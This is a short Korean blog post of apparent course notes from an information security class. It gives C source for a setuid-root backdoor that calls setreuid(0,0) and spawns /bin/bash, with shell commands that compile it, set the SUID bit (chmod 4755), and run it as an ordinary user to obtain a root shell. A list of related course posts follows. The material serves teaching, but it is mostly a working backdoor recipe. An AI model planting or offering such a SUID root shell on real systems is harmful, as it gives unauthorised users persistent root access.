#include<stdlib.h> #include<sys/types.h> #include<unistd.h>
main() { setreuid(0,0); /& real uid effective uid 둘다 바꿔라!*/ system("/bin/bash"); } |
[참고] gcc 패키지 설치
# yum list | grep gcc
# yum -y install gcc
# gcc -o backdoor backdoor.c
# chmod 4755 backdoor
# ls -l backdoor
# telnet localhost
user01 사용자로 로그인
$ /test/backdoor
# id
-> root 사용자
# ps
-> 실행된 쉘
-> user01가 관리자 권한으로 실행된 쉘
$ ps -l
$ pstree –alup PPID 번호
# exit
$ exit
#
* dig 명령어
[출처]
솔데스크 백승찬 강사님
'정보보안공부 > 정보보안전문과정' 카테고리의 다른 글
정보보안 과정 Day 66 : 의사코드 복원 실습 (0) | 2020.12.09 |
---|---|
정보보안 과정 Day65 : Reverse Engineering 3 (0) | 2020.12.08 |
정보보안 과정 Day63 : Reverse Engineering 1 (0) | 2020.12.04 |
정보보안 과정 Day53~62 모의해킹 실습 (0) | 2020.12.04 |
정보보안 과정 Day42~52 : 네트워크 해킹과 보안 (0) | 2020.11.20 |